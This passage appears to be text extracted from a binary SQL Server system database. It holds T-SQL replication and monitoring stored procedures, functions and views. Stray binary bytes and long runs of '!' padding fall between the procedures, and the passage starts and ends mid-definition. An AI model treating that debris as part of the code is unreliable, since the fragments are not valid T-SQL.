			IHpublishercolumns ihpc,
			IHpublishercolumnconstraints ihpcc,
			IHpublisherconstraints ihpcn,
			IHarticles iha
    WHERE	ihpcn.publisher_id				= iha.publisher_id
      and	ihpcn.table_id					= iha.table_id
      and	ihc.publishercolumn_id			= ihpc.publishercolumn_id
      and	ihpc.publishercolumn_id			= ihpcc.publishercolumn_id
      and	ihpcn.publisherconstraint_id	= ihpcc.publisherconstraint_id
      and	iha.article_id					= @artid
      and	ihpcn.type						= 'PRIMARYKEY'
    
    if @pkcount = @colcount
		return 1
    else
		return 0
end
0 
8create procedure sys.sp_helpserver
    @server         sysname = NULL,         -- server name
    @optname        varchar(35) = NULL,     -- option name to limit results
    @show_topology  varchar(1) = NULL       -- 't' to show topology coordinates
as
    -- PRELIMINARY
    set nocount on
    declare @optbit     int,
            @bitdesc    sysname,
            @curbit     int

    -- CHECK IF REQUESTED SERVER(S) EXIST
    if not exists (select * from master.dbo.sysservers where
		(@server is null or srvname = @server))
    begin
        if @server is null
            raiserror(15205,-1,-1)
        else
            raiserror(15015,-1,-1,@server)
        return (1)
    end

    -- GET THE BIT VALUE(S) FOR THE OPTION REQUESTED
    if @optname is not null
    begin
        select @optbit = number from master.dbo.spt_values
            where type = 'A' and name = @optname
        if @optbit is null
        begin
            raiserror(15206,-1,-1,@optname)
            return(1)
        end
    end
    else
        select @optbit = -1     -- 0xffffffff

    -- MAKE WORK COPY OF RELEVANT PART OF SYSSERVERS
    select name = srvname, network = srvnetname, status = convert(varchar(100), ''),
            id = srvid, srvstat = srvstatus, topx = topologyx, topy = topologyy,
			collation_name = convert(sysname, CollationPropertyFromID(srvcollation, 'name')),
			connect_timeout = connecttimeout, query_timeout = querytimeout
        into #spt_server
        from master.dbo.sysservers
		where (@server is null or srvname = @server) and (@optname is null or srvstatus & @optbit <> 0)

    -- SET THE STATUS FIELD
    select @curbit = 1
    while @curbit < 0x10000 -- bit field is a smallint
    begin
        select @bitdesc = null
        select @bitdesc = name from master.dbo.spt_values
			where type = 'A' and number = @curbit
        if @bitdesc is not null
            update #spt_server set status = status + ',' + @bitdesc where srvstat & @curbit <> 0
        select @curbit = @curbit * 2
    end

    -- SHOW THE RESULT SET
    if lower(@show_topology) <> 't' or @show_topology is null
	    select name, network_name = network,
		        status = isnull(substring(status,2,8000),''),
                id = convert(char(4), id),
				collation_name, connect_timeout, query_timeout
	    from #spt_server order by name
    else
	    select name, network_name = network,
		        status = isnull(substring(status,2,8000),''),
                id = convert(char(4), id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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A`k	<	2ݬ0 
8create procedure sys.sp_MSsub_check_identity
@lower_bound_id int
as
    declare @retcode int
    declare @cmd nvarchar(1000)
    declare @objid int, @threshhold bigint, @range bigint, @next_seed bigint
    declare    @last_seed bigint, @identity_so_far bigint, @threshold int
    declare @table_name sysname
    declare @qualname nvarchar(517)

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- This proc will be called by distribution agent called repeatedly until
    -- one result returned
    if object_id('MSsub_identity_range') is not NULL
    begin
        while 1 = 1
        begin
            select @objid = null
            select top 1 @objid = objid from MSsub_identity_range where
                objid > @lower_bound_id 
                order by objid ASC
            if @objid is null
                break

            select @lower_bound_id = @objid
            -- Since we don't always clean up the subscriber, Skipping invalid entry.
            if object_name(@objid) is null 
                continue
            if objectproperty(@objid, 'TableHasIdentity') <> 1
                continue

            exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

            select @range = range, @last_seed = last_seed, @threshold = threshold from 
                MSsub_identity_range where objid=@objid
                
            if @range = 0
                -- First time after initial bcp, always request a new range
                -- return this object
                break
            else
            begin                 

                -- Leave one slot unused. This is to prevent violation of primary key constraint
                -- if the next value is used by a subscriber and the publisher has received it.
                -- It seems the pk constraint will be validated before this check.
                declare @actual_range int
                if @range > 0
                    select @actual_range = @range - 1
                else
                    select @actual_range = @range + 1

                select @identity_so_far = isnull(ident_current(@qualname), ident_seed(@qualname))

                if 100*(@identity_so_far - @last_seed)/@actual_range >= @threshold
                    -- Need new range
                    break
            end

            select @lower_bound_id = @objid
        end
    end
    select @table_name = object_name(@objid)            

    -- Return nothing if @table_name is null, which means no more table needs to be adjust
    select 'objid' = @objid, 'table_name' = @table_name where @objid is not null    
0j 8create function [sys].[fn_cdc_map_lsn_to_time]				
(														
	@lsn		binary(10)									
)														
returns datetime
with returns null on null input
as													
begin													
	declare @lsn_end_time datetime
		
	select @lsn_end_time = tran_end_time							
	from [cdc].[lsn_time_mapping]
	where start_lsn = @lsn
									
	return @lsn_end_time										
end													
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=`	b<I	)ۥ0 8
--
-- Name: 
--		sp_MSchange_merge_agent_properties
-- 
-- Description: 
--		Update merge agent properties..
--
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		SA
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSchange_merge_agent_properties
(
	@publisher 		sysname,
	@publisher_db	sysname,
	@publication	sysname,
	@subscriber		sysname,
	@subscriber_db	sysname,
	@property		sysname,
	@value			nvarchar(524)	-- if a password it should be encrypted	
)
as
begin
	set nocount on 
	
	declare @retcode 		int,
			@publisher_id	int,
			@agent_id		int,
			@security_mode 	smallint,
			@publication_id int,
			@job_id			uniqueidentifier,
			@job_step_uid	uniqueidentifier
			
	-- should only be called by the admin link
	if is_srvrolemember('sysadmin') <> 1
	begin
		raiserror (14126, 16, -1)
		return 1 
	end
	
	-- retrieve server ids
	select @publisher_id = srvid
		from master..sysservers
		where upper(srvname) = upper(@publisher)
	
	-- retrieve the agent id
	select @agent_id = id,
			@job_id = convert(uniqueidentifier, job_id),
			@job_step_uid = job_step_uid
		from dbo.MSmerge_agents
		where publisher_id = @publisher_id
			and publisher_db = @publisher_db
			and publication = @publication
			and UPPER(subscriber_name) = UPPER(@subscriber)
			and subscriber_db = @subscriber_db

	-- retrieve the job_step_uid if not set
    if @job_id is NOT NULL
    	and @job_step_uid is NULL
    begin
		select @job_step_uid = sjs.step_uid
		from msdb.dbo.sysjobs_view as sjv 
			join msdb.dbo.sysjobsteps as sjs 
				on sjv.job_id = sjs.job_id 
		where sjv.job_id = @job_id
			and sjv.master_server = 0
			and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
			and sjv.category_id = 14
			and sjs.subsystem = 'Merge' 
			and sjs.database_name = db_name()
    end
	
	-- get publication id
	select @publication_id = publication_id
		from dbo.MSpublications
		where publisher_id = @publisher_id
		and publisher_db = @publisher_db
		and publication = @publication
   
	-- if the property is not in the list we return an error at the end
	select @property = lower(rtrim(ltrim(@property)))
	
	if @property = N'subscriber_security_mode' 
	begin
		if isnumeric(@value) = 0
		begin
			-- '@value' is not a valid value for the 'subscriber_security_mode' parameter. The value must be 0 or 1.
			raiserror (21406, 16, -1, @value, @property)
			return 1
		end
		
		select @security_mode = cast(@value as smallint)

		if @security_mode = 1
		begin
			select @value = newid()

			exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
	    	if @@error <> 0 or @retcode <> 0
	    		return 1
	    		
			update dbo.MSmerge_agents 
				set subscriber_security_mode = 1,
					subscriber_login = N'',
					subscriber_password = @value
				where id = @agent_id
			if @@error <> 0
				return 1
		end
		else if @security_mode = 0
		begin
			update dbo.MSmerge_agents 
				set subscriber_security_mode = 0
				where id = @agent_id
			if @@error <> 0
				return 1
		end
		else
		begin
			-- "'@value' is not a valid value for the '@property' parameter. The value must be 0 or 1."
			raiserror (21406, 16, -1, '@value', '@property')
			return 1
		end
	end
	else if @property = N'subscriber_login' 
	begin
		update dbo.MSmerge_agents 
			set subscriber_login = @value 
			where id = @agent_id
		if @@error <> 0
			return 1
	end
	else if @property = N'subscriber_password' 
	begin
		exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
    	if @@error <> 0 or @retcode <> 0
    		return 1
	    		
		update dbo.MSmerge_agents 
			set subscriber_password = @value 
			where id = @agent_id
		if @@error <> 0
			return 1
	end
	else if @property = N'publisher_security_mode' 
	begin
		if isnumeric(@value) = 0
		begin
			-- '@value' is not a valid value for the 'subscriber_security_mode' parameter. The value must be 0 or 1.
			raiserror (21406, 16, -1, @value, @property)
			return 1
		end
		
		select @security_mode = cast(@value as smallint)

		if @security_mode = 1
		begin
			select @value = newid()

			exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
	    	if @@error <> 0 or @retcode <> 0
	    		return 1
	    		
			update dbo.MSmerge_agents 
				set publisher_security_mode = 1,
					publisher_login = N'',
					publisher_password = @value
				where id = @agent_id
			if @@error <> 0
				return 1
		end
		else if @security_mode = 0
		begin
			update dbo.MSmerge_agents 
				set publisher_security_mode = 0
				where id = @agent_id
			if @@error <> 0
				return 1
		end
		else
		begin
			-- "'@value' is not a valid value for the '@property' parameter. The value must be 0 or 1."
			raiserror (21406, 16, -1, '@value', '@property')
			return 1
		end
	end
	else if @property = N'publisher_login' 
	begin
		update dbo.MSmerge_agents 
			set publisher_login = @value 
			where id = @agent_id
		if @@error <> 0
			return 1
	end
	else if @property = N'publisher_password' 
	begin
		exec @retcode = sys.sp_MSreplencrypt @value OUTPUT
    	if @@error <> 0 or @retcode <> 0
    		return 1
    		
		update dbo.MSmerge_agents 
			set publisher_password = @value
			where id = @agent_id
		if @@error <> 0
			return 1
	end
	else if @property = N'merge_job_login'
	begin
		-- update the Proxy Account login
		exec @retcode = sys.sp_MSchange_repl_job @id = @job_id,
												@step_uid = @job_step_uid,
												@login = @value
		if @@error != 0 or @retcode != 0
			return 1
	end
	else if @property = N'merge_job_password'
	begin
		-- update the Proxy Account password
		exec @retcode = sys.sp_MSchange_repl_job @id = @job_id,
												@step_uid = @job_step_uid,
												@password = @value
		if @@error != 0 or @retcode != 0
			return 1
	end
	else if @property = N'description' 
	begin 
		UPDATE dbo.MSmerge_subscriptions
		     SET description = @value
                   where publisher_id = @publisher_id and
                        publisher_db = @publisher_db and
                        publication_id = @publication_id and
                        UPPER(subscriber) = UPPER(@subscriber) and
                        subscriber_db = @subscriber_db	
		if @@error <> 0
			return 1
	end 
	else
	begin
		-- "Invalid property name '@property'."
		raiserror (21348, 16, -1, @property)
		return 1
	end
	
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`|<	l=07@ V8create procedure sys.sp_MSsetbit
    @bm varbinary(128) output,
    @coltoadd smallint,
    @toset    int = 1
AS
    declare @bytenum smallint
    declare @bit smallint
    declare @mask tinyint
    declare @newbyte tinyint     
    declare @oldbyte tinyint
            
    SELECT @bytenum = 1 + FLOOR((@coltoadd-1)/8)

    IF @bytenum > 128 return 0

    SELECT @bit = (@coltoadd-1) % 8

    SET @mask = POWER(2, @bit)
    if @toset = 0
        SET @mask = (~@mask % 256)
                
    if @bm is null
        set @bm = 0x0
    while datalength(@bm) < @bytenum
        set @bm = @bm + 0x00 

    SET @oldbyte = SUBSTRING( @bm, @bytenum, 1)
    IF @oldbyte IS NULL SET @oldbyte = 0
    if @toset <> 0            
        SET @newbyte = @oldbyte | @mask
    else
        SET @newbyte = @oldbyte & @mask

    if (@bytenum = 1)
        set @bm = convert(binary(1), @newbyte) + substring(@bm, 2, 127)
    else
        set @bm = substring(@bm, 1, @bytenum - 1) + convert(binary(1), @newbyte) + substring(@bm, @bytenum + 1, 128 - @bytenum)
0
U8 8create procedure sys.sp_MSdrop_6x_replication_agent
@job_id UNIQUEIDENTIFIER,
@category_id int
as
    declare @distbit int
    declare @db_name sysname
    declare @cmd nvarchar(4000)

    select @distbit = 16

    -- Only perform cleanup of 6x replication agent if caller 
    -- is sysadmin member. This is compromise between the need to 
    -- maintain very old (and deprecated) functionality and the 
    -- need to keep things secured 
    if is_srvrolemember('sysadmin') <> 1
        return 0

    declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select name from master.dbo.sysdatabases 
            where
            category & @distbit <> 0 
        for read only

    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1)
    begin

        if @category_id = 13
        begin
            select @cmd = N'delete from ' + QUOTENAME(@db_name) + N'.dbo.MSlogreader_agents where job_id = convert (uniqueidentifier, ''' +
                convert (nvarchar(100), @job_id) + N''')'
            exec (@cmd)
        end
        else if @category_id = 15   
        begin
            select @cmd = QUOTENAME(@db_name) + N'.dbo.sp_MSdrop_6x_publication'
            exec @cmd @job_id = @job_id
        end
        else
            return 0

        if @@ERROR <> 0
            return 1
        
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase
06Q@ 8create procedure sys.sp_replmonitorhelppublisher 
(
    @publisher sysname = NULL  -- pubisher - null means all publisher
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
)
as
begin
    set nocount on
    declare @retcode int
                ,@distdb sysname
                ,@cmd nvarchar(4000)
    --
    -- security check.
    -- User must be member of 'replmonitor' role in some distribution database at this distributor.
    --
    exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess
    if @retcode != 0 or @@error != 0
        return (1)
    --
    -- create temp table for results
    --
    create table #tmp_replication_publisherdata  
    (
        publisher sysname
        ,distribution_db sysname
        ,status int
        ,warning int	-- OR among all subscriptions 
        ,publicationcount int
        ,returnstamp nvarchar(20) null
    )
    
    if @@error != 0
    begin
        raiserror(20507, 16, 1, '#tmp_replication_publisherdata', 'tempdb')
        return 1
    end
    --
    -- if publisher is not specified then enumerate through each 
    -- distribution database and collect the information
    -- if publisher is specified then execute in the specific dist db
    --
    if (@publisher is null)
    begin
        --
        -- publisher was not specified
        -- ennumerate the distribution databases
        --
        declare #hcdistdb cursor local fast_forward for
            select name from msdb..MSdistributiondbs
        open #hcdistdb
        fetch next from #hcdistdb into @distdb
        while (@@fetch_status != -1)
        begin
            --
            -- get data from the current distribution db
            --
            select @cmd = quotename(@distdb) + '.sys.sp_replmonitorhelppublisherhelper'
            exec @retcode = @cmd @publisher = @publisher, @refreshpolicy = @refreshpolicy
            if @@error != 0 or @retcode != 0
                return 1
            --
            -- get next distribution db
            --
            fetch next from #hcdistdb into @distdb
        end -- while (@@fetch_status != -1)
        close #hcdistdb
        deallocate #hcdistdb
    end
    else
    begin
        --
        -- publisher was specified
        -- validate and get the distribution database
        --
        select @distdb = distribution_db 
        from msdb..MSdistpublishers 
        where upper(name) = upper(@publisher)
        if (@distdb is null)
        begin
            raiserror (25002, 16, -1)
            return (1)
        end
        --
        -- get data
        --
        select @cmd = quotename(@distdb) + '.sys.sp_replmonitorhelppublisherhelper'
        exec @retcode = @cmd @publisher = @publisher, @refreshpolicy = @refreshpolicy
        if @@error != 0 or @retcode != 0
            return 1
    end
    --
    -- return the resultset
    --
    select publisher
        ,distribution_db
        ,status
        ,warning
        ,publicationcount
        ,returnstamp
    from #tmp_replication_publisherdata
    --
    -- all done
    --
    return 0
end
0d>@ D8*chM
)N
0><@ 18
create procedure sys.sp_MSget_gen_approx_changecount @generation bigint, @changecount int OUTPUT
as
    select @changecount = 0
    -- No need to be accurate, and not good to block others. So, do a dirty read.
    select @changecount = @changecount + count(*) from dbo.MSmerge_contents with (NOLOCK)
            where generation = @generation
            
    select @changecount = @changecount + count(*) from dbo.MSmerge_tombstone with (NOLOCK)
            where generation = @generation
            
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!q`A<	&0^E 8create procedure sys.sp_replmonitorhelppublisherhelper 
(
    @publisher sysname = NULL  -- pubisher - null means all publisher
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
)
as
begin
    set nocount on
    declare @retcode int
                ,@status int
                ,@warning int 
                ,@publicationcount int
                ,@returnstamp datetime

    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorhelppublisher', 'distribution')
        return 1
    end
    --
    -- publisher data table must exist
    --
    if object_id('tempdb..#tmp_replication_publisherdata') is null
    begin
        raiserror(20507, 16, 5, '#tmp_replication_publisherdata', 'tempdb')
        return 1
    end
    --
    -- create temp table to get the monitoring data
    --
    create table #tmp_replication_monitordata  
    (
        publication_id int
        ,publisher sysname null
        ,publisher_srvid int
        ,publisher_db sysname null
        ,publication sysname null
        ,publication_type int
        ,agent_type int 
        ,agent_name sysname
        ,job_id uniqueidentifier
        ,status int
        ,isagentrunningnow bit
        ,warning int
        ,last_distsync datetime
        ,agentstoptime datetime
        ,distdb sysname null
        ,retention int
        ,time_stamp datetime null
        ,worst_latency int
        ,best_latency int
        ,avg_latency int
        ,cur_latency int
        ,mergePerformance int
        ,mergelatestsessionrunduration int
        ,mergelatestsessionrunspeed float
        ,mergelatestsessionconnectiontype int
        ,retention_period_unit tinyint
    )
    
    if @@error != 0
    begin
        raiserror(20507, 16, 1, '#tmp_replication_monitordata', 'tempdb')
        return 1
    end
    --
    -- build indices
    --
    create nonclustered index nc1tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher_srvid) 
    create nonclustered index nc2tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_type) 
    create nonclustered index nc4tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher) 
    create nonclustered index nc5tmp_replication_monitordata 
        on #tmp_replication_monitordata(publication, publisher_db) 
    create nonclustered index nc6tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_name) 
    if (@@error != 0)
        return 1
    --
    -- get refresh data
    --
    exec @retcode = sys.sp_replmonitorrefreshdata @publisher = @publisher, @refreshpolicy = @refreshpolicy
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- Initialize the @publisherdata
    --
    insert into #tmp_replication_publisherdata(
        publisher
        ,distribution_db)
    select distinct upper(publisher)
        ,distdb
    from #tmp_replication_monitordata
    if @@error != 0
        return 1
    --
    -- update the other columns in #tmp_replication_publisherdata
    --
    declare #hcrefreshmonitor cursor local fast_forward for 
        select publisher from #tmp_replication_publisherdata
        where distribution_db = db_name()
    open #hcrefreshmonitor
    fetch #hcrefreshmonitor into @publisher
    while (@@fetch_status != -1)
    begin
        --
        -- overall_status
        -- overall_warning 
        --
        select @status = max(status)
            ,@warning = max(isnull(warning,0))
            ,@returnstamp = max(isnull(time_stamp,0))
        from #tmp_replication_monitordata
        where publisher = @publisher
        --
        -- publicationcount 
        -- Logreader/Queuereader adds common agent entry for 
        -- more than one publication and names the publication ALL.
        -- When counting publications we skip these entries
        --
        select @publicationcount = count(distinct publication_id)
        from #tmp_replication_monitordata
        where publisher = @publisher
            and agent_type not in (2,9)
        --
        -- update
        --
        update #tmp_replication_publisherdata 
        set status = @status
            ,warning = @warning
            ,publicationcount = @publicationcount
            ,returnstamp = left(replace(replace(replace(replace(convert(nvarchar, @returnstamp, 121), '-', ''), ' ', ''), ':', ''), '.', ''), 16)
        where publisher = @publisher
        if @@error != 0
            return 1
        --
        -- get next row
        --
        fetch #hcrefreshmonitor into @publisher
    end
    close #hcrefreshmonitor
    deallocate #hcrefreshmonitor
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`qf<<	0@ 8CREATE VIEW sys.dm_broker_forwarded_messages AS
	SELECT * FROM OpenRowset (TABLE SBFORWARDEDMESSAGES)
0@ 8
--
-- Name:    
--          sp_MSrepl_helparticlermo
--          
-- Description: 
--          Special version of help article for RMO.  Returns extended
--			HREPL information.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of article properties
--      
--

create procedure sys.sp_MSrepl_helparticlermo
(
    @publication sysname,         /* The publication name */
    @article sysname = '%',       /* The article name */
    @returnfilter bit = 1,        /* Return filter flag */
    @publisher sysname = NULL,
    @found	int  = 0 OUTPUT
)
AS
BEGIN
    DECLARE @cmd nvarchar(4000)
	DECLARE @retcode int
	DECLARE @publisher_type sysname

    select @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@publisher_type		= @publisher_type OUTPUT,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1
													
    IF @retcode <> 0
        RETURN (@retcode)

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

	IF @publisher_type <> N'MSSQLSERVER'
	BEGIN
		select @cmd = @cmd + N'sys.sp_IHhelparticle'

		EXEC @retcode = @cmd
						@publication,
						@article,
						@returnfilter,
						@publisher,
						@publisher_type,
						@found OUTPUT,
						1
	END
	ELSE
	BEGIN
		select @cmd = @cmd + N'sys.sp_MSrepl_helparticle'

		EXEC @retcode = @cmd
				@publication,
				@article,
				@returnfilter,
				@publisher,
				@found OUTPUT,
				1
	END
	
    RETURN (@retcode)
END
0Ң 8create function sys.fn_MSgetmaxbackcompatlevel ()
    returns int
as
begin
    declare @maxlevel    int
    declare @level        int
    set @maxlevel= 10
    
    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        select @level= max(backward_comp_level) from dbo.sysmergepublications
        if @level is not null and @level > @maxlevel
            set @maxlevel= @level
    end
    return @maxlevel
end
0k@ }8create procedure sys.sp_MSflush_command
    @cmd     nvarchar(4000) output,
    @force   int,     -- 0 = flush if necesssary, 1 = flush always
    @indent  int = 0  -- indent for command buffer (for pretty formatting
as
-- debug
--    if len(@cmd) >= 4000
--    begin
--        raiserror("buffer overflow!", 16, 1)
--        select @cmd
--    end
-- debug

    if @force = 1 or len( @cmd ) > 3000
    begin
        insert into #proctext(procedure_text) values( @cmd )
        select @cmd = N''
        if @indent > 0 
            exec sys.sp_MSpad_command @cmd output, @indent
    end
0 8CREATE VIEW sys.dm_resource_governor_resource_pools AS
	SELECT
	    pool_id,
	    name,
	    statistics_start_time,
	    total_cpu_usage_ms,
	    cache_memory_kb,
	    compile_memory_kb,
	    used_memgrant_kb,
	    total_memgrant_count,
	    total_memgrant_timeout_count,
	    active_memgrant_count,
	    active_memgrant_kb,
	    memgrant_waiter_count,
	    max_memory_kb,
	    used_memory_kb,
	    target_memory_kb,
	    out_of_memory_count,
	    min_cpu_percent,
	    max_cpu_percent,
	    min_memory_percent,
	    max_memory_percent,
	    cap_cpu_percent
